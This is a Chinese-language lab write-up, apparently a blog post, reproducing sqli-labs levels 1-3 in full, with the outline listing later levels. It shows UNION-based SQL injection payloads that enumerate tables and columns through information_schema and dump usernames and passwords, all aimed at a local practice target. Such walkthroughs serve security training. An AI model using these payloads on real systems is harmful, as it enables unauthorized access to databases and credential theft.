sqli靶场复现(1-8关)

目录

1.sqli-labs第一关

1.判断是否存在sql注入

1.1你输入数字值的ID作为参数,我们输入?id=1

1.2在数据库可以查看到users下的对应内容

2.联合注入

2.1首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

2.2得到列数为3列,联合查询判断回显位,这里左边取-1是为了使左边的sql语句查询后为空,显示右边的内容:

2.3查询数据库名:

2.4得到数据库名:security,继续爆表:

2.5将 security 换成users表名,去爆破里面的内容。

2.6通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容

2.sqli-labs第二关(整数型注入)

3.sqli-labs第三关

1.当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

2.以下的步骤和less-1较为相似,在 ’ 后面加 ) 即可原理相似,先对数据库进行查询

4.sqli-labs第四关

1.先尝试让它报错查看原因,单引号没用双引号可以

2.对报错信息进行分析,发现代码当中对 id 参数进行了 “” 和 () 的包装。所以我们再用这样的代码来进行注入: ?id=1”) –-+

3.步骤跟上述相似

5.sqli-labs第五关(报错注入)

1.先尝试输入发现输入数字或者注释都没变化,加上单引号后悔出现报错,但是还是没有注入点

2.判断报错报错函数是否可用

3.利用UPDATEXML函数报错注入

4.爆库名 

5.爆表名

6.爆列名

7.爆字段内容

6.sqli-labs第六关(报错注入)

1.输入整数或者单引号看界面显示发现根第五关差不多情况,并且输入?id=1'也没有显示就去查看源码,发现要用双引号​编辑

2.判断报错函数是否可用

3.其余跟第五关差不多,单引号换成双引号即可

7.sqli-labs第七关

1.尝试用单引号发现报错信息,确定要使用")),根据题目显示知道这是个outfile

2.采用outfile的方式进行注入

3.打开数据库文件夹--------找到下目录下的my.ini ---------打开它,

4.在重新输入导出命令

8.sqli-labs第八关(布尔盲注)

1.先输入?id=1c出现You are in,?id=1'发现没有显示,在输入双引号试试发现恢复正常

2.这里发现和第五关有点像,我们试试报错函数是否可以用,发现不可以

3.这里考虑用布尔盲注或者时间盲注试试,

扩展:

4.爆数据库名

4.1判断长度

4.2爆破数据库名 

5.爆表名

5.1判断表的数量

5.2判断第一个表的长度

5.3 判断表的字符

6.爆表的具体字段 

6.1获取字段列数

6.2获取字段列名

7.获取表中的数据

7.1获取条数 

7.2判断数据长度 

7.3判断数据字符

7.4现在可以去数据库获取获取数据

9.sqli-labs第九关

10.sqli-labs第十关


1.sqli-labs第一

1.判断是否存在sql注入

1.1你输入数字值的ID作为参数,我们输入?id=1

1.2在数据库可以查看到users下的对应内容

2.联合注入

2.1首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

2.2得到列数为3列,联合查询判断回显位,这里左边取-1是为了使左边的sql语句查询后为空,显示右边的内容:

爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。%27是英文的单引号释符 --+

2.3查询数据库名:

http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%202,3,database()--+

2.4得到数据库名:security,继续爆表:

爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。

group_concat 可以将所有的tables 提取出来,information_schema是mysql特有的库,存储各种数据库的信息。

http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%202,3,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

2.5将 security 换成users表名,去爆破里面的内容。

爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

http://127.0.0.1/sqli/Less-1/?id=-1%27%20union%20select%202,3,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+

2.6通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容

2.sqli-labs(整数型注入)

当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。

在php文件可以看到是整数型注入

其余步骤和第一关差不多

?id=1' order by 1,2,3,4--+
?id=1' order by 1,2,3--+
?id=-1'union select 1,2,3--+
?id=-1' union select 1,2,database()--+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,group_concat(username,id,password) from users--+

3.sqli-labs第三

1.当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

 看报错,发现并没有完全闭合,那就加个')'使其闭合,再使用'--+'注释掉后面内容

2.以下的步骤和less-1较为相似,在 ’ 后面加 ) 即可
原理相似,先对数据库进行查询

?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值